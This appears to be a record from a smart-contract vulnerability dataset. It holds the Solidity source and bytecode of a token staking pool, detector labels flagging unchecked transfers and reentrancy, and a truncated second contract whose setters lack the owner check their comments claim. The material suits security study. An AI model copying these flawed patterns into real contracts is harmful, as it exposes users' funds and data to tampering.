/** *Submitted for verification at Etherscan.io on 2020-12-06 */ pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract YeFiMpool2 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // token contract address address public tokenAddress; // reward rate % per year uint public rewardRate = 6500; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 0; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 24 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0), "Invalid address format is not supported"); tokenAddress = _tokenAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0), "Interracting token address is not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636654ffdf116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b1461042a578063f3073ee714610450578063f3f91fa01461046f578063f851a44014610495576101c4565b8063d578ceab14610412578063d816c7d51461041a578063f1587ea114610422576101c4565b80639d76ea58116100d35780639d76ea58146103a3578063bec4de3f146103c7578063c0a6d78b146103cf578063c326bf4f146103ec576101c4565b80636654ffdf1461035d5780636a395ccb146103655780637b0a47ee1461039b576101c4565b8063455ab53c11610166578063538a85a111610140578063538a85a1146102ec578063583d42fd146103095780635ef057be1461032f5780636270cd1814610337576101c4565b8063455ab53c146102bf5780634641257d146102c75780634908e386146102cf576101c4565b80631e94723f116101a25780631e94723f1461023f578063308feec31461027757806337c5785a1461027f57806338443177146102a2576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631c885bae14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b61023d6004803603602081101561023657600080fd5b503561053f565b005b6102656004803603602081101561025557600080fd5b50356001600160a01b031661084a565b60408051918252519081900360200190f35b6102656108fd565b6101e66004803603604081101561029557600080fd5b508035906020013561090f565b6101e6600480360360208110156102b857600080fd5b5035610933565b6101e6610954565b61023d61095d565b6101e6600480360360208110156102e557600080fd5b5035610968565b61023d6004803603602081101561030257600080fd5b5035610989565b6102656004803603602081101561031f57600080fd5b50356001600160a01b0316610c7e565b610265610c90565b6102656004803603602081101561034d57600080fd5b50356001600160a01b0316610c96565b610265610ca8565b61023d6004803603606081101561037b57600080fd5b506001600160a01b03813581169160208101359091169060400135610cae565b610265610d88565b6103ab610d8e565b604080516001600160a01b039092168252519081900360200190f35b610265610d9d565b6101e6600480360360208110156103e557600080fd5b5035610da3565b6102656004803603602081101561040257600080fd5b50356001600160a01b0316610dc4565b610265610dd6565b610265610ddc565b610265610de2565b61023d6004803603602081101561044057600080fd5b50356001600160a01b0316610e16565b6101e66004803603602081101561046657600080fd5b50351515610e9b565b6102656004803603602081101561048557600080fd5b50356001600160a01b0316610f0f565b6103ab610f21565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d86027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b336000908152600c60205260409020548111156105a3576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d60205260409020546105c1904290610f30565b116105fd5760405162461bcd60e51b815260040180806020018281038252603b81526020018061129d603b913960400191505060405180910390fd5b61060633610f47565b6000610629612710610623600554856110db90919063ffffffff16565b90611102565b905060006106378383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b505050506040513d60208110156106bd57600080fd5b5051610710576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b50516107e1576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c60205260409020546107fb9084610f30565b336000818152600c602052604090209190915561081a90600a90611117565b80156108335750336000908152600c6020526040902054155b1561084557610843600a3361112c565b505b505050565b6000610857600a83611117565b610863575060006108f8565b6001600160a01b0382166000908152600c6020526040902054610888575060006108f8565b6001600160a01b0382166000908152600e60205260408120546108ac904290610f30565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926108f291612710916106239190829088906108ec9089906110db565b906110db565b93505050505b919050565b6000610909600a611141565b90505b90565b600080546001600160a01b0316331461092757600080fd5b60049290925560055590565b600080546001600160a01b0316331461094b57600080fd5b60089190915590565b60095460ff1681565b61096633610f47565b565b600080546001600160a01b0316331461098057600080fd5b60029190915590565b60095460ff1615156001146109e5576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a3a576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a9457600080fd5b505af1158015610aa8573d6000803e3d6000fd5b505050506040513d6020811015610abe57600080fd5b5051610b11576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610b1a33610f47565b6000610b37612710610623600454856110db90919063ffffffff16565b90506000610b458383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610ba157600080fd5b505af1158015610bb5573d6000803e3d6000fd5b505050506040513d6020811015610bcb57600080fd5b5051610c1e576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610c38908261114c565b336000818152600c6020526040902091909155610c5790600a90611117565b61084557610c66600a3361115b565b50336000908152600d60205260409020429055505050565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b03163314610cc557600080fd5b6001546001600160a01b0384811691161415610d0057610ce3610de2565b811115610cef57600080fd5b600754610cfc908261114c565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505050506040513d6020811015610d8157600080fd5b5050505050565b60025481565b6001546001600160a01b031681565b60035481565b600080546001600160a01b03163314610dbb57600080fd5b60069190915590565b600c6020526000908152604090205481565b60075481565b60055481565b600060085460075410610df75750600061090c565b6000610e10600754600854610f3090919063ffffffff16565b91505090565b6000546001600160a01b03163314610e2d57600080fd5b6001600160a01b038116610e4057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610eb357600080fd5b6001546001600160a01b0316610efa5760405162461bcd60e51b81526004018080602001828103825260308152602001806112ff6030913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b6000546001600160a01b031681565b600082821115610f3c57fe5b508082035b92915050565b6000610f528261084a565b905080156110be576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610fb057600080fd5b505af1158015610fc4573d6000803e3d6000fd5b505050506040513d6020811015610fda57600080fd5b505161102d576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f6020526040902054611050908261114c565b6001600160a01b0383166000908152600f6020526040902055600754611076908261114c565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b60008282028315806110f55750828482816110f257fe5b04145b6110fb57fe5b9392505050565b60008082848161110e57fe5b04949350505050565b60006110fb836001600160a01b038416611170565b60006110fb836001600160a01b038416611188565b6000610f418261124e565b6000828201838110156110fb57fe5b60006110fb836001600160a01b038416611252565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561124457835460001980830191908101906000908790839081106111bb57fe5b90600052602060002001549050808760000184815481106111d857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061120857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f41565b6000915050610f41565b5490565b600061125e8383611170565b61129457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f41565b506000610f4156fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564a264697066735822122046aa641086f25e7f516bde6eb84b47d96bc318acf757171bf81b6363fc84918064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,315
0xa21777ef6e189e3ee0ac914a9c75e262cf4ad264
pragma solidity ^0.4.8 ; contract LLV_311_EDIT_4 { address owner ; function LLV_311_EDIT_4 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_1 = " une première phrase " ; function setLLV_edit_1 ( string newLLV_edit_1 ) public { inLLV_edit_1 = newLLV_edit_1 ; } function getLLV_edit_1 () public constant returns ( string ) { return inLLV_edit_1 ; } // 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_2 = " une première phrase " ; function setLLV_edit_2 ( string newLLV_edit_2 ) public { inLLV_edit_2 = newLLV_edit_2 ; } function getLLV_edit_2 () public constant returns ( string ) { return inLLV_edit_2 ; } // 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_3 = " une première phrase " ; function setLLV_edit_3 ( string newLLV_edit_3 ) public { inLLV_edit_3 = newLLV_edit_3 ; } function getLLV_edit_3 () public constant returns ( string ) { return inLLV_edit_3 ; } // 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_4 = " une première phrase " ; function setLLV_edit_4 ( string newLLV_edit_4 ) public { inLLV_edit_4 = newLLV_edit_4 ; } function getLLV_edit_4 () public constant returns ( string ) { return inLLV_edit_4 ; } // 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_5 = " une première phrase " ; function setLLV_edit_5 ( string newLLV_edit_5 ) public { inLLV_edit_5 = newLLV_edit_5 ; } function getLLV_edit_5 () public constant returns ( string ) { return inLLV_edit_5 ; } // 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_6 = " une première phrase " ; function setLLV_edit_6 ( string newLLV_edit_6 ) public { inLLV_edit_6 = newLLV_edit_6 ; } function getLLV_edit_6 () public constant returns ( string ) { return inLLV_edit_6 ; } // 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_7 = " une première phrase " ; function setLLV_edit_7 ( string newLLV_edit_7 ) public { inLLV_edit_7 = newLLV_edit_7 ; } function getLLV_edit_7 () public constant returns ( string ) { return inLLV_edit_7 ; } // 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_8 = " une première phrase " ; function setLLV_edit_8 ( string newLLV_edit_8 ) public { inLLV_edit_8 = newLLV_edit_8 ; } function getLLV_edit_8 () public constant returns ( string ) { return inLLV_edit_8 ; } // 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_9 = " une première phrase " ; function setLLV_edit_9 ( string newLLV_edit_9 ) public { inLLV_edit_9 = newLLV_edit_9 ; } function getLLV_edit_9 () public constant returns ( string ) { return inLLV_edit_9 ; } // 10 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_10 = " une première phrase " ; function setLLV_edit_10 ( string newLLV_edit_10 ) public { inLLV_edit_10 = newLLV_edit_10 ; } function getLLV_edit_10 () public constant returns ( string ) { return inLLV_edit_10 ; } // 11 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_11 = " une première phrase " ; function setLLV_edit_11 ( string newLLV_edit_11 ) public { inLLV_edit_11 = newLLV_edit_11 ; } function getLLV_edit_11 () public constant returns ( string ) { return inLLV_edit_11 ; } // 12 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_12 = " une première phrase " ; function setLLV_edit_12 ( string newLLV_edit_12 ) public { inLLV_edit_12 = newLLV_edit_12 ; } function getLLV_edit_12 () public constant returns ( string ) { return inLLV_edit_12 ; } // 13 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_13 = " une première phrase " ; function setLLV_edit_13 ( string newLLV_edit_13 ) public { inLLV_edit_13 = newLLV_edit_13 ; } function getLLV_edit_13 () public constant returns ( string ) { return inLLV_edit_13 ; } // 14 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_14 = " une première phrase " ; function setLLV_edit_14 ( string newLLV_edit_14 ) public { inLLV_edit_14 = newLLV_edit_14 ; } function getLLV_edit_14 () public constant returns ( string ) { return inLLV_edit_14 ; } // 15 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_15 = " une première phrase " ; function setLLV_edit_15 ( string newLLV_edit_15 ) public { inLLV_edit_15 = newLLV_edit_15 ; } function getLLV_edit_15 () public constant returns ( string ) { return inLLV_edit_15 ; } // 16 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_16 = " une première phrase " ; function setLLV_edit_16 ( string newLLV_edit_16 ) public { inLLV_edit_16 = newLLV_edit_16 ; } function getLLV_edit_16 () public constant returns ( string ) { return inLLV_edit_16 ; } // 17 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_17 = " une première phrase " ; function setLLV_edit_17 ( string newLLV_edit_17 ) public { inLLV_edit_17 = newLLV_edit_17 ; } function getLLV_edit_17 () public constant returns ( string ) { return inLLV_edit_17 ; } // 18 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_18 = " une première phrase " ; function setLLV_edit_18 ( string newLLV_edit_18 ) public { inLLV_edit_18 = newLLV_edit_18 ; } function getLLV_edit_18 () public constant returns ( string ) { return inLLV_edit_18 ; } // 19 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_19 = " une première phrase " ; function setLLV_edit_19 ( string newLLV_edit_19 ) public { inLLV_edit_19 = newLLV_edit_19 ; } function getLLV_edit_19 () public constant returns ( string ) { return inLLV_edit_19 ; } // 20 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_20 = " une première phrase " ; function setLLV_edit_20 ( string newLLV_edit_20 ) public { inLLV_edit_20 = newLLV_edit_20 ; } function getLLV_edit_20 () public constant returns ( string ) { return inLLV_edit_20 ; } // 21 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_21 = " une première phrase " ; function setLLV_edit_21 ( string newLLV_edit_21 ) public { inLLV_edit_21 = newLLV_edit_21 ; } function getLLV_edit_21 () public constant returns ( string ) { return inLLV_edit_21 ; } // 22 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_22 = " une première phrase " ; function setLLV_edit_22 ( string newLLV_edit_22 ) public { inLLV_edit_22 = newLLV_edit_22 ; } function getLLV_edit_22 () public constant returns ( string ) { return inLLV_edit_22 ; } // 23 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_23 = " une première phrase " ; function setLLV_edit_23 ( string newLLV_edit_23 ) public { inLLV_edit_23 = newLLV_edit_23 ; } function getLLV_edit_23 () public constant returns ( string ) { return inLLV_edit_23 ; } // 24 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_24 = " une première phrase " ; function setLLV_edit_24 ( string newLLV_edit_24 ) public { inLLV_edit_24 = newLLV_edit_24 ; } function getLLV_edit_24 () public constant returns ( string ) { return inLLV_edit_24 ; } // 25 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_25 = " une première phrase " ; function setLLV_edit_25 ( string newLLV_edit_25 ) public { inLLV_edit_25 = newLLV_edit_25 ; } function getLLV_edit_25 () public constant returns ( string ) { return inLLV_edit_25 ; } // 26 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_26 = " une première phrase " ; function setLLV_edit_26 ( string newLLV_edit_26 ) public onlyOwner { inLLV_edit_26 = newLLV_edit_26 ; } function getLLV_edit_26 () public constant returns ( string ) { return inLLV_edit_26 ; } // 27 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_27 = " une première phrase " ; function setLLV_edit_27 ( string newLLV_edit_27 ) public { inLLV_edit_27 = newLLV_edit_27 ; } function getLLV_edit_27 () public constant returns ( string ) { return inLLV_edit_27 ; } // 28 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_28 = " une première phrase " ; function setLLV_edit_28 ( string newLLV_edit_28 ) public { inLLV_edit_28 = newLLV_edit_28 ; } function getLLV_edit_28 () public constant returns ( string ) { return inLLV_edit_28 ; } // 29 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_29 = " une première phrase " ; function setLLV_edit_29 ( string newLLV_edit_29 ) public { inLLV_edit_29 = newLLV_edit_29 ; } function getLLV_edit_29 () public constant returns ( string ) { return inLLV_edit_29 ; } // 30 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_30 = " une première phrase " ; function setLLV_edit_30 ( string newLLV_edit_30 ) public { inLLV_edit_30 = newLLV_edit_30 ; } function getLLV_edit_30 () public constant returns ( string ) { return inLLV_edit_30 ; } // 31 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_31 = " une première phrase " ; function setLLV_edit_31 ( string newLLV_edit_31 ) public { inLLV_edit_31 = newLLV_edit_31 ; } function getLLV_edit_31 () public constant returns ( string ) { return inLLV_edit_31 ; } // 32 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_32 = " une première phrase " ; function setLLV_edit_32 ( string newLLV_edit_32 ) public { inLLV_edit_32 = newLLV_edit_32 ; } function getLLV_edit_32 () public constant returns ( string ) { return inLLV_edit_32 ; } // 33 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_33 = " une première phrase " ; function setLLV_edit_33 ( string newLLV_edit_33 ) public { inLLV_edit_33 = newLLV_edit_33 ; } function getLLV_edit_33 () public constant returns ( string ) { return inLLV_edit_33 ; } // 34 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inLLV_edit_34 = " une première phrase " ; function setLLV_edit_34 ( string newLLV_edit_34 ) public { 